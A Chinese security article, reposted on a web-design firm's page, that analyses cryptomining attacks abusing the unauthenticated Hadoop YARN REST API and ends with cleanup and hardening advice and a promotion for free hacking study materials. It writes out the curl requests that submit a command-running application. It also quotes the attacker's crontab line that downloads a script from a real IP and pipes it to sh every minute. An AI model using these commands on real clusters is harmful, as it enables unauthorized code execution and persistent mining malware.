尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

Hadoop Yarn REST API未授权漏洞分析

Hadoop Yarn REST API未授权漏洞分析 一、背景情况5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击攻击者可以在未授权的情况下远程执行代码的安全问题进行预警在预警的前后我们曾多次捕获相关的攻击案例其中就包含利用该问题进行wk我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。二、 说明Hadoop是一个由Apache基金会所开发的分布式系统基础架构YARN是hadoop系统上的资源统一管理平台其主要作用是实现集群资源的统一管理和调度可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上通过YARN来管理资源。简单的说用户可以向YARN提交特定应用程序进行执行其中就允许执行相关包含系统命令。YARN提供有默认开放在8088和8090的REST API默认前者允许用户直接通过API进行相关的应用创建、任务提交执行等操作如果配置不当REST API将会开放在公网导致未授权访问的问题1.申请新的application直接通过curl进行POST请求curl -v -X POST‘http://ip:8088/ws/v1/cluster/apps/new-application’返回内容类似于2.构造并提交任务构造json文件1.json内容如下其中application-id对应上面得到的id命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件内容也为111然后直接curl -s -i -X POST -H ‘Accept: application/json’ -H ‘Content-Type:application/json’http://ip:8088/ws/v1/cluster/apps --data-binary 1.json即可完成攻击命令被执行在相应目录下可以看到生成了对应文件三、分析在本次分析的案例中受害机器部署有Hadoop YARN并且存在未授权访问的安全问题hk直接利用开放在8088的REST API提交执行命令来实现在服务器内下载执行.sh脚本从而再进一步下载启动wk程序达到wk的目的。整个利用过程相对比较简单通过捕捉Hadoop 的launch_container.sh执行脚本我们可以看到其中一个案例中相关任务执行的命令可以很明显的看到第8行位置从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。在实际过程中我们从多个案例捕获了多个比如名为cr.sh的不同脚本但实际的功能代码都差不多我们对其中一个x_wcr.sh脚本进行分析代码自上而下内容这部分代码主要针对已存在的wk进程、文件进行清理。这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件那么就判断其MD5值是否匹配MD5不匹配则根据w.conf关键词查找并kill进程如果非可写的文件则重新赋值DIR变量这个变量主要用于后面部分代码中下载wk等程序存放目录。然后接着是一些变量的赋值包括再次判断如果/tmp/java是一个目录则重新赋值DIR变量判断curl和wget命令是否存在存在则赋值到WGET变量f2则是赋值为某个IP实则为是后续下载相关文件的服务器之一。这部分代码是其中比较核心的代码通过downloadIfNeed方法下载wk程序到DIR目录下并重命名为java下载w.conf配置文件给wk程序增加执行权限然后以nohup命令后台运行wk程序并删除配置文件接着检查crontab中的任务如果不存在对应的任务就将下载执行脚本的任务* * * * * $LDR http://185.222.210.59/cr.sh | sh /dev/null 21添加到其中,这里LDR为wget -q -O -或者curl任务每分钟执行一次。脚本中还包含了几个嵌套调用的download方法入口方法是downloadIfNeed这个方法的核心功能还是校验已存在的wk程序的MD5如果无法验证或者文件不存在的情况则直接调用download方法下载wk程序如果文件存在但MD5匹配不正确则调用download方法后再次验证验证失败则尝试从另外一个下载渠道https://transfer.sh/WoGXx/zzz下载wk程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.tmp.txt内容示例download方法判断ppc文件的存在与否和 MD5是否匹配如果不存在或MD5不匹配则调用download2下载如果存在则复制重名为java。download2方法则判断系统下载对应版本的wk程序其中http://185.222.210.59/g.php返回的是另外一个IP地址下载成功后则再次验证并复制重命名为ppc。在脚本的最后部分还有一些进程、文件、crontab清理的处理用pkill删除满足条件的进程删除tmp目录下pscd开头的文件以及说删除crontab中存在某些关键词的任务。至此我们完成整个脚本的分析虽然整个脚本比较冗长而且似乎各个函数嵌套调用涉及文件也众多但其实整体就做了以下几件事1.清理相关的进程、文件和crontab任务2.判断并下载wk程序同时校验MD5值除了hk自己控制的服务器还利用https://transfer.sh提供备用下载多种方式保障3.增加脚本下载执行任务添加到crontab里其实我们通过查看YARN的日志文件yarn-root-nodemanager-master.hadoop.log也可能看到相应的痕迹或者我们通过管理UI查看application详情而crontab的任务日志也能看到相关的执行记录最终在/var/tmp目录下也能找到相关的文件四、安全建议清理病毒1.使用top查看进程kill掉异常进程2.检查/tmp和/var/tmp目录删除java、ppc、w.conf等异常文件3.检查crontab任务列表删除异常任务4.排查YARN日志确认异常的application删除处理安全加固1.通过iptables或者安全组配置访问策略限制对8088等端口的访问2.如无必要不要将接口开放在公网改为本地或者内网调用3.升级Hadoop到2.x版本以上并启用Kerberos认证功能禁止匿名访问4.云镜当前已支持该漏洞检测同时也支持wk木马的发现建议安装云镜并开通专业版及时发现漏洞并修复或者在中马后能及时收到提醒进行止损**最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表